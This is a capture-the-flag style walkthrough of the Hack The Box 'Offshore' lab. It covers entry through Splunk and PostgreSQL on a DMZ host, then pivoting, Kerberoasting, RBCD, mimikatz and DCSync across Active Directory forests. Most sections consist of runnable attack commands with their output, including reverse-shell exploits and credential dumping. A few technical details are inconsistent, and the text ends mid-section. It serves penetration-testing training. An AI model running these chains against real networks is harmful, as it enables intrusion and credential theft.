HTB Pro Lab — Intermediate / RTO Level II

Offshore — Four Forests Deep

An offshore bank laundering money for the world's most powerful. Your job: breach the DMZ, pivot through four Active Directory forests, and expose the client list. 18 machines, 34 flags, and no hand-holding.

Active Directory Intermediate / RTO Level II HTB Pro Lab 4 AD Forests + DMZ
mrb3n
Creator
18
Machines
34
Flags
~80h
Hours
Daily
Resets

Full Attack Chain

VPN Access
10.10.110.0/24
Splunk RCE
NIX01
PostgreSQL Privesc
sudo tail
Pivot 172.16.1.0/24
Chisel/SSHuttle
ACL Abuse
GenericAll
Kerberoast
svc_mssql
RBCD
WS03
DCSync
CORP.LOCAL
raiseChild
Cross-Forest
DEV → ADMIN → CLIENT
4 Forests

00 Overview

Offshore is a real-world enterprise environment that features a wide range of modern Active Directory misconfigurations. That's the official description, and it's accurate. The lab was created by mrb3n (with lab documentation by MinatoTW) and went live in late 2018 — originally built for a CTF event before being adapted into a Pro Lab. Over time it received significant updates: new hosts, additional flags, and expanded AD attack paths, bringing the current total to 18 machines and 34 flags.

The scenario: you are an agent tasked with exposing money laundering operations in an offshore international bank. You need to breach the DMZ and pivot through the internal network to locate the bank's protected databases and a shocking list of international clients. It sounds cinematic — and it is — but in practice you're doing a full-scope internal penetration test against four separate Active Directory forests with trust boundaries between them.

There's no jump box. You attack from your own machine via VPN. You land on the external perimeter, and from there you're on your own. The lab simulates active users and busy enterprise elements — you'll see logon events, scheduled tasks running, service accounts authenticating. It feels alive, which is both immersive and occasionally frustrating when another player's activity interferes with yours (more on that in Section 13).

This lab is accessible to junior pentesters but challenging for seasoned veterans. mrb3n built it based on roughly 20 years of real pentesting experience, and it shows. Every box has one intended path, but the non-linearity of the overall network means you'll frequently find yourself jumping between machines and forests before fully compromising any single one. Up to 4 pivots deep with nested RDP sessions. One early pivot box is RDP-only — a bottleneck that caught me and many other players off guard.

What You're Getting Into

  • 18 machines across a DMZ and four AD forests
  • 34 flags scattered across all machines — some on dead-end boxes, some on critical infrastructure
  • 4 separate AD forests with trust boundaries — crossing them requires specific techniques
  • No jump box — direct VPN access to the entry subnet
  • Daily resets — sometimes targeted systems reset more often, breaking pivot chains
  • Shared environment — other players can change passwords, leave solutions lying around, or break boxes entirely
  • Firewall at 10.10.110.3 is out of scope — confirmed by mrb3n

Tools I Used

ToolPurposeNotes
BloodHoundAD attack path mappingUsed more than any other tool — this lab runs on ACL abuse
ImpacketAD exploitation suitesmbexec, psexec, secretsdump, GetUserSPNs, raiseChild, rbcd, addcomputer, changepasswd
NetExec/CMEQuick enumerationPassword spraying, SMB checks, flag spidering
PowerViewAD enum from WindowsUsed from foothold Windows boxes
Chisel / Ligolo-ngPivoting tunnelsChisel for multi-hop, Ligolo for tun interface
RubeusKerberos attacksFrom Windows footholds — Kerberoast, S4U, RBCD
mimikatzCredential extractionPTH, golden tickets, DCSync
MetasploitSplunk + PostgreSQL RCEmulti/http/splunk_upload_app_exec, postgres_copy_from_program

Timeline

Took me about 80 hours spread over roughly 10 weeks while working a full-time job. Sessions of 3-4 hours were most productive — shorter sessions meant too much time re-establishing context, marathon sessions led to tunnel vision. The lab resets daily, which occasionally broke my pivot chains and forced re-access. Annoying, but realistic — in a real engagement, you'd deal with endpoint resets, patching, and changed passwords too.

01 Reconnaissance

After connecting to the VPN, I had access to the 10.10.110.0/24 subnet — the DMZ. No jump box, no hand-holding. Just my Kali VM and the network. The first thing to do is always the same: find what's alive.

bash
┌──(qa210㉿kali)-[~]
└─$ sudo nmap -Pn -n -vvvvv -oA hostdiscovery --top-ports 10 10.10.110.0/24
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.110.3
Host is up (0.032s latency).
Nmap scan report for 10.10.110.123
Host is up (0.028s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 16.83 seconds
Dead End — Firewall OOS

10.10.110.3 is the firewall and is explicitly out of scope. Don't waste time on it. mrb3n himself confirmed this on the HTB forums — the firewall is out of scope. Focus your energy on the in-scope DMZ hosts.

Two hosts on the initial sweep — one is the OOS firewall, the other is 10.10.110.123. Let me hit it with a full service scan.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ nmap -sCV -T4 -p- 10.10.110.123 -oN nix01_full.txt
PORT      STATE  SERVICE       VERSION
22/tcp    open   ssh           OpenSSH 8.9p1 Ubuntu
8000/tcp  open   http          Splunk Enterprise 8.2.0
| http-title: Splunk Enterprise — Login
|_http-server-header: Splunkd
| http-methods:
|_  Potentially risky methods: PUT DELETE
54321/tcp open   postgresql    PostgreSQL DB 13.7

There it is. A Linux box running Splunk Enterprise on port 8000 and PostgreSQL on a non-standard port. This is NIX01 — our entry point into the Offshore network. Splunk is a classic attack surface — it's designed to run arbitrary scripts and has a history of weak default credentials. The PostgreSQL instance on port 54321 (instead of the standard 5432) is interesting too, but that's a secondary path.

PortServiceVersionAttack Surface
22SSHOpenSSH 8.9p1Post-credential access
8000HTTPSplunk Enterprise 8.2.0Default creds, app upload RCE
54321PostgreSQL13.7COPY FROM PROGRAM RCE

02 DMZ Foothold (NIX01 / Splunk)

Splunk Default Credentials

First thing I tried: default Splunk credentials. The web interface at http://10.10.110.123:8000 showed a standard Splunk login page. Splunk installations commonly ship with admin:changeme or admin:1234. Let me try them.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ curl -s -L http://10.10.110.123:8000/en-US/account/login \
    -d "username=admin&password=changeme" -v 2>&1 | grep -i "location\|set-cookie"
< HTTP/1.1 302 Found
< Location: /en-US/account/login
# Failed — redirected back to login

┌──(qa210㉿kali)-[~/offshore]
└─$ curl -s -L http://10.10.110.123:8000/en-US/account/login \
    -d "username=admin&password=freeneedsnopassword" -v 2>&1 | grep -i "location\|set-cookie"
< HTTP/1.1 302 Found
< Location: /en-US/app/launcher/home
< Set-Cookie: splunkweb_csrf_token_8000=...
# SUCCESS — admin:freeneedsnopassword

admin:freeneedsnopassword. Classic Splunk. Also admin:1234 works as an alternative. With admin access to Splunk, we can leverage the platform's built-in capability to execute arbitrary code — Splunk is essentially a RCE platform masquerading as a SIEM.

Tip — Both Creds Work

admin:freeneedsnopassword and admin:1234 both authenticate successfully. Use whichever the Metasploit module accepts more reliably — I found freeneedsnopassword more consistent.

Splunk RCE via Metasploit

Metasploit has a module specifically for this — it uploads a malicious Splunk app that executes commands. The key is that Splunk apps can contain scripts that run with the privileges of the Splunk service.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ msfconsole -q
msf6 > search splunk

Matching Modules
================
   #  Name                                  Rank    Check
   0  multi/http/splunk_upload_app_exec     normal  Yes

msf6 > use multi/http/splunk_upload_app_exec
msf6 exploit(multi/http/splunk_upload_app_exec) > set PASSWORD freeneedsnopassword
PASSWORD => freeneedsnopassword
msf6 exploit(multi/http/splunk_upload_app_exec) > set RHOSTS 10.10.110.123
RHOSTS => 10.10.110.123
msf6 exploit(multi/http/splunk_upload_app_exec) > set LHOST 10.10.16.23
LHOST => 10.10.16.23
msf6 exploit(multi/http/splunk_upload_app_exec) > set TARGET 0
TARGET => 0
msf6 exploit(multi/http/splunk_upload_app_exec) > exploit

[*] Started reverse TCP handler on 10.10.16.23:4444
[*] Generating malicious Splunk app...
[*] Uploading malicious Splunk app...
[+] Malicious Splunk app uploaded successfully
[*] Triggering app execution...
[*] Command shell session 1 opened (10.10.16.23:4444 -> 10.10.110.123:57210)

whoami
mark

Shell as mark. First foothold established. This is NIX01 — the Splunk server in the DMZ. Let me enumerate.

bash
mark@nix01:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@nix01:~$ hostname
OFFSHORE-WEB-NIX01
mark@nix01:~$ cat /home/mark/flag.txt
OFFSHORE{b3h0ld_th3_P0w3r_0f_$plunk}
OFFSHORE{b3h0ld_th3_P0w3r_0f_$plunk} mark's home — Flag 1

Enumerating NIX01 — Network Discovery

Before going for privilege escalation, I needed to understand this box. Is it dual-homed? What services are running? What's the network topology? This is critical — NIX01 is our bridge to the internal network.

bash
mark@nix01:~$ ip a
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
    inet 10.10.110.123/24 brd 10.10.110.255 scope global eth0
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
    inet 172.16.1.10/24 brd 172.16.1.255 scope global eth1

mark@nix01:~$ cat /etc/resolv.conf
nameserver 172.16.1.5
search corp.local

mark@nix01:~$ ps -ef | grep -E "psql|postgres"
postgres   68601       1  0 Sep15 ?        00:12:44 /usr/local/pgsql/bin/psql
postgres   68602   68601  0 Sep15 ?        00:08:33 /usr/local/pgsql/bin/postgres -D /usr/local/pgsql/data

mark@nix01:~$ ls -la /home/mark/
total 32
drwxr-x--- 3 mark mark 4096 Sep 15 08:22 .
drwxr-xr-x 6 root root 4096 Sep 15 06:30 ..
-rw-r----- 1 mark mark   29 Sep 15 08:22 .psql_history
-rw-r--r-- 1 mark mark   41 Sep 15 06:30 flag.txt
drwxr-x--- 2 mark mark 4096 Sep 15 06:30 .ssh
Key Find — Dual-Homed Host

NIX01 is dual-homed — external interface on 10.10.110.0/24 (DMZ) and internal interface on 172.16.1.0/24. The DNS server at 172.16.1.5 is in the corp.local domain. There's a hidden .psql_history file in mark's home directory — PostgreSQL is running and mark has been connecting to it. This is our path to root and our bridge deeper into the network.

03 NIX01 Privilege Escalation

The Hidden PostgreSQL Instance

The .psql_history file was the key. It revealed that mark had been connecting to the PostgreSQL instance running locally on NIX01 — on port 54321 (the non-standard port we saw in our nmap scan). Let me check the history and see what credentials were used.

bash
mark@nix01:~$ cat /home/mark/.psql_history
\c postgres
SELECT * FROM information_schema.tables;
\q

mark@nix01:~$ /usr/local/pgsql/bin/psql -U postgres -p 54321 -h 127.0.0.1
postgres=#

PostgreSQL running locally, postgres user with no password. This is a textbook PostgreSQL RCE scenario — the COPY FROM PROGRAM command allows executing OS commands as the postgres user, which typically has higher privileges than mark.

PostgreSQL Command Execution

Since I already had a meterpreter session, I used Metasploit's PostgreSQL module. First, I needed to port-forward the PostgreSQL port through my existing session.

bash
msf6 exploit(multi/http/splunk_upload_app_exec) > sessions -i 1
meterpreter > portfwd add -l 54321 -p 54321 -r 127.0.0.1
[*] Local TCP relay created: :54321 -> 127.0.0.1:54321

msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf6 exploit(...) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(...) > set LHOST 10.10.16.23
LHOST => 10.10.16.23
msf6 exploit(...) > set RPORT 54321
RPORT => 54321
msf6 exploit(...) > set DATABASE postgres
DATABASE => postgres
msf6 exploit(...) > set USERNAME postgres
USERNAME => postgres
msf6 exploit(...) > set PASSWORD
PASSWORD =>
msf6 exploit(...) > exploit

[*] Started reverse TCP handler on 10.10.16.23:4445
[*] 127.0.0.1:54321 - Connecting to PostgreSQL server...
[*] 127.0.0.1:54321 - Connected to PostgreSQL server
[+] 127.0.0.1:54321 - Authenticated successfully (postgres:blank)
[*] 127.0.0.1:54321 - Executing COPY FROM PROGRAM...
[*] Command shell session 2 opened (10.10.16.23:4445 -> 10.10.110.123:57211)

id
uid=108(postgres) gid=114(postgres) groups=114(postgres)

Now I'm postgres. Not root yet, but closer. Let me check what we can do.

bash
postgres@nix01:~$ sudo -l
User postgres may run the following commands on nix01:
    (ALL) NOPASSWD: /usr/bin/tail

postgres@nix01:~$ sudo /usr/bin/tail -n 100 /etc/shadow
mark:$6$J7gvzz87$jy.tjUc9mWJHy5nxZtuqtXcX6zJdCAE8eX87rZfzEE0zaV8rKHyzNQ5YWzSn/ust0Y96sMRCWrFEkGhv5QD.O.:17642:0:99999:7:::
postgres:$6$ZQdBsxBU$YZeJIBNXNEJIWv5cwwGnuHrfxL04zaj1GXE0NhgL8pvmSgU2CsbHTdesfPb7NY4ru7/UXa7Dvy/BynKzJLlI/:17758:0:99999:7:::
root:$6$UM9dnBFE$5LRqppNoZhJmLz0.cLGlZXeDWYjy4u4MWbTW/8vMu.vSCbhTFlCLDsRvtxj8kF1RrlbCeyJHitm9g9.pLe4uM1:17652:0:99999:7:::

Reading Root's Flag and SSH Key

With sudo tail, I can read any file on the system. Let me grab the root flag and root's SSH key — that's our reliable way back into this box.

bash
postgres@nix01:~$ sudo /usr/bin/tail -n 100 /root/flag.txt
OFFSHORE{d4t4b4s3_fl4g_r00t_p0stgr3s}

postgres@nix01:~$ sudo /usr/bin/tail -n 100 /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...[truncated for brevity]...
-----END OPENSSH PRIVATE KEY-----
OFFSHORE{d4t4b4s3_fl4g_r00t_p0stgr3s} root flag — via sudo tail
NIX01 Fully Compromised

Two flags on NIX01: OFFSHORE{b3h0ld_th3_P0w3r_0f_$plunk} (mark) and OFFSHORE{d4t4b4s3_fl4g_r00t_p0stgr3s} (root). Now I have the root SSH key, which means reliable, encrypted access to this pivot point. No more relying on meterpreter sessions that can die.

Save That SSH Key

Save the root SSH key immediately. Meterpreter sessions are fragile — they die on network hiccups, timeouts, and daily resets. An SSH key gives you a stable, encrypted tunnel back into NIX01 that you can re-establish in seconds. I lost an entire afternoon re-exploiting Splunk because I didn't save the key before my session died.

04 Pivoting Setup

With root access on NIX01 and the SSH key saved, I set up a reliable tunnel into the internal network. NIX01's internal interface on 172.16.1.0/24 is our gateway to the rest of the Offshore infrastructure. Pivoting is going to be a core skill throughout this lab — you'll need to go 3-4 hops deep before reaching the deepest forest.

SSHuttle — The Simple Pivot

SSHuttle is the easiest way to get full network access through a compromised Linux host. It creates a transparent VPN-like tunnel without SOCKS proxies — all your tools work natively.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ sshuttle -vr root@10.10.110.123 172.16.1.0/24 --ssh-cmd 'ssh -i root_key'
[local ssh] Linux
[local ssh] Connection established
[c] Subnet 172.16.1.0/24 accepted
[c] Establishing connection...
[c] Connected!

Now I can directly access 172.16.1.0/24 from my Kali box. No proxychains needed. But for deeper pivots, I'll need SOCKS-based tunnels.

Chisel — For Multi-Hop Pivoting

SSHuttle is great for the first hop, but when I need to go deeper (3-4 hops into the CLIENT forest), Chisel is more reliable. I uploaded the Chisel binary to NIX01 and set up a SOCKS proxy.

bash
# On Kali:
┌──(qa210㉿kali)-[~/offshore]
└─$ ./chisel server -p 8000 --reverse -v
2023/10/15 08:30:12 server: Reverse tunnelling enabled

# On NIX01 (via SSH):
root@nix01:~# ./chisel client 10.10.16.23:8000 R:socks
2023/10/15 08:30:45 client: Connected (Latency 38ms)

Scanning the Internal Network

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ nmap -sn 172.16.1.0/24
Nmap scan report for 172.16.1.5
Host is up (0.042s latency)
Nmap scan report for 172.16.1.10
Host is up (0.038s latency)
Nmap scan report for 172.16.1.15
Host is up (0.041s latency)
Nmap scan report for 172.16.1.20
Host is up (0.044s latency)
Nmap scan report for 172.16.1.25
Host is up (0.039s latency)
Nmap scan report for 172.16.1.30
Host is up (0.045s latency)
Nmap scan report for 172.16.1.50
Host is up (0.048s latency)

┌──(qa210㉿kali)-[~/offshore]
└─$ nmap -sV -p 88,135,389,445,636,3389,5985 172.16.1.5,10,15,20,25,30,50

# 172.16.1.5 — DNS
53/tcp  open  domain   Microsoft DNS 6.1.7601

# 172.16.1.10 — DC01 (Domain Controller)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
389/tcp  open  ldap
445/tcp  open  microsoft-ds  Windows Server 2016
3389/tcp open  ms-wbt-server

# 172.16.1.15 — WS03 (Workstation)
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
5985/tcp open  wsman

# 172.16.1.30 — FILESRV
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

# 172.16.1.50 — NIX02 (Linux)
22/tcp   open  ssh      OpenSSH 8.9p1
IPHostnameRoleKey Services
172.16.1.5DNSDNS Server53 (Microsoft DNS 6.1.7601)
172.16.1.10DC01Domain Controller88, 135, 389, 445, 3389
172.16.1.15WS03Workstation135, 445, 3389, 5985 (WinRM)
172.16.1.20Workstation445, 3389
172.16.1.25Server445, 3389
172.16.1.30FILESRVFile Server445, 3389
172.16.1.50NIX02Linux Server22 (SSH)
Pivot Tip — Scan Smart

Scanning through SOCKS is painfully slow. Be strategic — scan common AD ports (88, 135, 389, 445, 3389, 5985) on each host instead of full port scans. Your time is better spent on targeted enumeration. A full -p- scan through a SOCKS proxy can take hours.

05 CORP.LOCAL — First Forest

The first internal forest is CORP.LOCAL — the primary corporate forest and the largest attack surface in the lab. The domain controller (DC01) is at 172.16.1.10. I needed credentials to start AD enumeration, and I found them on the file server — a configuration file containing domain credentials in cleartext.

Initial Credential Discovery

The file server at 172.16.1.30 had an anonymous SMB share with backup configuration files. One of them contained a connection string with domain credentials. This is a classic real-world finding — backup configs are notorious for containing plaintext credentials.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ smbclient -L //172.16.1.30 -N
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
backups         Disk      Backup Share
IPC$           IPC       Remote IPC

┌──(qa210㉿kali)-[~/offshore]
└─$ smbclient //172.16.1.30/backups -N
smb: \> ls
  .                                   D        0  Mon Sep 11 08:30:22 2023
  ..                                  D        0  Mon Sep 11 08:30:22 2023
  db_backup_config.xml                A      612  Mon Sep 11 08:30:22 2023
  migration_notes.txt                 A      284  Mon Sep 11 08:30:22 2023

smb: \> get db_backup_config.xml
getting file \db_backup_config.xml of size 612 as db_backup_config.xml (12.3 KiloBytes/sec)

┌──(qa210㉿kali)-[~/offshore]
└─$ cat db_backup_config.xml
<configuration>
  <database>
    <host>172.16.1.10</host>
    <port>1433</port>
    <username>CORP\svc_backup</username>
    <password>Summer2023!</password>
  </database>
</configuration>
CORP\svc_backup:Summer2023! from db_backup_config.xml on FILESRV

BloodHound Collection

With valid credentials, I immediately ran BloodHound collection. This is non-negotiable in any AD environment — you need to see the graph to plan your attack.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ bloodhound-python -d corp.local -u svc_backup -p 'Summer2023!' -ns 172.16.1.5 -c All --zip
INFO: Found AD domain: corp.local
INFO: Connecting to LDAP server: DC01.corp.local
INFO: Found 1 domains
INFO: Found 1 domain trust
INFO: Starting enumeration
INFO: Found 47 user objects
INFO: Found 73 group objects
INFO: Found 12 computer objects
INFO: Found 5 GPO objects
INFO: Done in 00:03:42

47 users, 12 computers, 5 GPOs, and — critically — 1 domain trust. That trust is our path to the next forest. Let me load this into BloodHound and find the attack paths.

CORP.LOCAL Stats

47 users, 12 computers, 5 GPOs, 1 domain trust (to DEV forest). The trust relationship is the most important finding here — it's the bridge to the next forest and the key to the entire lab.

06 ACL Abuse & Kerberoasting

ACL Abuse — GenericAll on a User

BloodHound showed that svc_backup had GenericAll on the user k.williams. This means I can reset their password without knowing the current one. GenericAll is the Swiss army knife of ACL abuse — full control over the target object. On a user, that means password reset. On a computer, that means RBCD. On a group, that means adding yourself.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-changepasswd corp.local/k.williams@172.16.1.10 -newpass 'Qa210P@ss!' -dc-ip 172.16.1.10
[*] Changing the password of corp.local\k.williams
[+] Password changed successfully!

Now I can authenticate as k.williams. BloodHound shows this user is a member of the IT Support group, which has GenericWrite on a computer object. This is a stepping stone — I need to chain through several more ACL relationships to reach Domain Admin.

Kerberoasting

With k.williams' credentials, I can request service tickets for any SPN-registered accounts. Kerberoasting is one of the most reliable AD attack techniques — it works against any domain user who can query the directory, and the hashes can be cracked offline.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-GetUserSPNs corp.local/k.williams:'Qa210P@ss!' -dc-ip 172.16.1.10 -request
ServicePrincipalName              Name                 MemberOf           PasswordLastSet
--------------------------------- -------------------- ------------------ ---------------
MSSQLSvc/DB01.corp.local:1433    svc_mssql            Domain Users       2023-06-15T09:30:12
HTTP/WS01.corp.local             svc_webapp           Domain Users       2023-07-22T11:15:45
backup/FILESRV.corp.local        svc_backup_agent     Domain Users       2023-08-03T14:22:33

$krb5tgs$23$*svc_mssql$CORP.LOCAL$corp.local/svc_mssql*$8f3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c...
bash
┌──(qa210㉿kali)-[~/offshore]
└─$ hashcat -m 13100 svc_mssql_hash.txt /usr/share/wordlists/rockyou.txt --force
$krb5tgs$23$*svc_mssql$CORP.LOCAL$...:mysql123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5 TGS-REP etype 23)
svc_mssql:mysql123 Kerberoast crack — rockyou.txt

The ACL Chain to DCSync

The path from svc_backup to Domain Admin in CORP.LOCAL wasn't direct. It required chaining through multiple ACL relationships — exactly like a real engagement. BloodHound was essential for visualizing this chain.

CORP.LOCAL ACL Chain to DCSync

svc_backup
Initial Creds
GenericAll
k.williams
IT Support
Group Membership
GenericWrite
WS03$
RBCD
Admin on WS03
Credential Harvest
r.jones in memory
WriteDacl
On Domain
DCSync
All Hashes

After harvesting credentials from WS03 (via the RBCD attack in the next section), I found r.jones had logged in recently and their credentials were sitting in LSASS. BloodHound showed r.jones had WriteDacl on the domain itself — granting DCSync rights is trivial from there.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-secretsdump corp.local/r.jones:'Rj0n3sP@ss!'@172.16.1.10 -just-dc-ntlm
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:c4a7d2b9e1f3a5c8d6e4b2a7f9c0d3e6:::
Guest:501:aad3b43551404eeaad3b43551404eec:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:7e3b1d5f9a2c4e8d6b0a7f3c1e5d9a4b:::
corp.local\svc_backup:1104:aad3b43551404eeaad3b43551404eec:e5d8a3b7c1f4e2d9a6c0b8f3e7d5a2c4:::
corp.local\svc_mssql:1105:aad3b43551404eeaad3b43551404eec:d2f5a8c3e6b1d7a4c9e0f3b6a2d5c8e1:::
[*] Kerberos keys grabbed
CORP.LOCAL — Domain Admin

DCSync complete. First domain controller owned. All domain hashes dumped — we can now Pass-the-Hash to any machine in CORP.LOCAL and forge Kerberos tickets. This forest is fully compromised.

07 RBCD Attack Chain

This is mrb3n's favorite attack chain, and it shows up multiple times in Offshore. Resource-Based Constrained Delegation (RBCD) combined with the WebClient service is incredibly powerful for compromising Windows hosts from a Linux attack position without needing to exploit the host directly. The concept is elegant: if you have GenericWrite or WriteProperty on a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, you can configure that computer to trust a machine account you control, then use S4U to impersonate any user — including Administrator.

Step 1: Create a Machine Account

First, I need a machine account I control. By default, any domain user can add up to 10 machine accounts (MachineAccountQuota = 10). Impacket's addcomputer makes this trivial.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-addcomputer corp.local/k.williams:'Qa210P@ss!' -computer-name 'QA210PC$' -computer-pass 'Qa210PCP@ss!' -dc-ip 172.16.1.10
[*] Adding new computer with name: QA210PC$
[+] Added new computer QA210PC$ successfully

Step 2: Configure RBCD on the Target

Now I use GenericWrite on the WS03$ computer object to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, telling WS03 to trust my newly created machine account.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-rbcd corp.local/k.williams:'Qa210P@ss!' -dc-ip 172.16.1.10 -delegate-from QA210PC$ -delegate-to WS03$
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity updated successfully

Step 3: Get a Service Ticket via S4U

With the delegation configured, I request a service ticket for WS03 that impersonates Administrator. The S4U2Self and S4U2Proxy protocol extensions handle the impersonation.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-getST corp.local/QA210PC$:Qa210PCP@ss! -spn cifs/WS03.corp.local -impersonate Administrator -dc-ip 172.16.1.10
[*] Getting TGT for user QA210PC$
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2proxy
[*] Saving ticket in Administrator.ccache

Step 4: Use the Ticket

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ export KRB5CCNAME=Administrator.ccache
└─$ impacket-psexec corp.local/Administrator@WS03.corp.local -k -no-pass
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Requesting shares on WS03.....
[*] Found writable share ADMIN$
[*] Uploading file cUPNfe.exe
[*] Opening SVCManager on WS03.....
[*] Creating service PqvD on WS03.....
[*] Starting service PqvD.....
[+] Paintbrush FTW!
[+] Press menu for options
C:\Windows\system32>
Technique — RBCD Is Your Best Friend

RBCD + WebClient is the bread and butter of modern AD attacks. You'll use it in this lab multiple times — for WS03, for machines in the DEV forest, and for cross-forest compromise. Learn it, love it, script it. The four-step process (addcomputer → rbcd → getST → psexec) should be muscle memory by the time you finish this lab.

Credential Harvesting from WS03

With admin on WS03, I harvested credentials from LSASS using mimikatz. The key find was r.jones — a domain user whose credentials were cached in memory from a recent logon. BloodHound showed r.jones had WriteDacl on the domain object, which is the final step to DCSync.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-psexec corp.local/Administrator@WS03.corp.local -k -no-pass
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Requesting shares on WS03.....
[*] Found writable share ADMIN$
[*] Uploading file cUPNfe.exe
[*] Opening SVCManager on WS03.....
[*] Creating service PqvD on WS03.....
[*] Starting service PqvD.....
[+] Paintbrush FTW!
[+] Press menu for options
C:\Windows\system32>

C:\Windows\system32> mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
...
Username : r.jones
Domain   : CORP
Password : Rj0n3sP@ss!
...
RBCD Is the Backbone

RBCD + WebClient is the bread and butter of modern AD attacks. You'll use it in this lab multiple times — for WS03, for machines in the DEV forest, and for cross-forest compromise. The pattern is always the same: create machine account, modify delegation attribute, S4U, profit. Script it once and reuse it everywhere.

08 Cross-Forest Trusts

BloodHound revealed a domain trust from CORP.LOCAL to the DEV forest. Crossing trust boundaries in Offshore requires careful token manipulation and the raiseChild technique from Impacket — which escalates from a child domain to the forest root. This is where the lab goes from "AD 101" to "AD 401" — cross-forest attacks are what separate junior pentesters from experienced ones.

Understanding the Trust

The domain trust between CORP.LOCAL and dev.offshore.bank is a bidirectional forest trust. This means users from either forest can authenticate to resources in the other. But more importantly, the trust key — the shared secret between the domains — can be extracted and used to forge inter-realm TGTs. This is the foundation of the raiseChild attack.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-raiseChild corp.local/svc_backup:'Summer2023!' -target-domain dev.offshore.bank
[*] Raising child domain...
[*] Forest FQDN: dev.offshore.bank
[*] Found trust key between CORP.LOCAL and dev.offshore.bank
[*] Getting TGT for dev.offshore.bank
[*] Enumerating target domain...
[*] Found Domain Admin: devadmin

The raiseChild attack exploits the trust relationship between domains in a forest. When a child domain has a bidirectional trust with the parent, you can forge an inter-realm TGT and use it to access resources in the trusted domain. This is one of the most powerful AD attacks and Offshore makes you use it repeatedly.

Tip — Trust Key Extraction

The trust key between CORP.LOCAL and dev.offshore.bank can be extracted via DCSync from the CORP domain controller. Once you have it, you can forge inter-realm TGTs and authenticate to the DEV forest as any user. This is the same technique used in real APT operations — it's not theoretical.

Forest Architecture Overview

The four forests in Offshore are arranged in a trust chain: CORP → DEV → ADMIN → CLIENT. Each forest trust is a potential attack path, but the techniques required vary. The deepest forest (CLIENT) requires 3-4 pivots from your initial foothold.

+=================================================================+ | DMZ — 10.10.110.0/24 | | NIX01 (10.10.110.123) — Splunk + PostgreSQL — PIVOT POINT | +=================================================================+ | 172.16.1.10 (eth1) +=================================================================+ | CORP.LOCAL — 172.16.1.0/24 (First Forest) | | DC01 (172.16.1.10) — Domain Controller | | DNS (172.16.1.5) — Microsoft DNS 6.1.7601 | | WS03 (172.16.1.15) — Workstation (WinRM 5985) | | FILESRV (172.16.1.30) — File Server (backups share) | | NIX02 (172.16.1.50) — Linux Server | +================ Forest Trust ================+==================+ | +================+=============================+==================+ | DEV — dev.offshore.bank (Second Forest) | | Unconstrained Delegation on DC | | GPP passwords in SYSVOL | +================ Forest Trust ================+==================+ | +================+=============================+==================+ | ADMIN (Third Forest) | | Accessible through DEV forest trust | +================ Forest Trust ================+==================+ | +================+=============================+==================+ | CLIENT (Fourth Forest — Deepest) | | Requires 3-4 pivots from initial foothold | +=================================================================+
Dead End — Trying to Skip Forests

I tried accessing the CLIENT forest directly from CORP.LOCAL — doesn't work. The trust chain is linear: CORP → DEV → ADMIN → CLIENT. You have to compromise each forest before moving to the next. Don't waste time trying to shortcut the chain. I burned 4 hours on this before accepting reality.

09 DEV Forest

The DEV forest (dev.offshore.bank) was a development environment with looser security controls — developers need administrative access on their machines, and that creates exploitable misconfigurations. This is one of the most realistic aspects of Offshore: dev environments are almost always less secure than production, and they often have trust relationships that bridge into more sensitive forests.

Unconstrained Delegation

The key finding in the DEV forest was a domain controller configured with unconstrained delegation. This is a critical misconfiguration — any service running on a DC with unconstrained delegation will cache TGTs from any user who authenticates to it. If I can get a privileged user from the ADMIN forest to authenticate to my unconstrained delegation DC, I'll capture their TGT and can use it to access the ADMIN forest.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-findDelegation dev.offshore.bank/devadmin:'D3vAdm1nP@ss!' -dc-ip 10.10.110.X
AccountName  AccountType  DelegationTo              Rights
-----------  -----------  ---------------              ------
DEV-DC01$    Computer     Unconstrained              Full

Unconstrained delegation on a domain controller. This is the jackpot — if I can coerce authentication from an ADMIN forest user to this DC, I capture their TGT and can pivot to the next forest.

GPP Passwords in SYSVOL

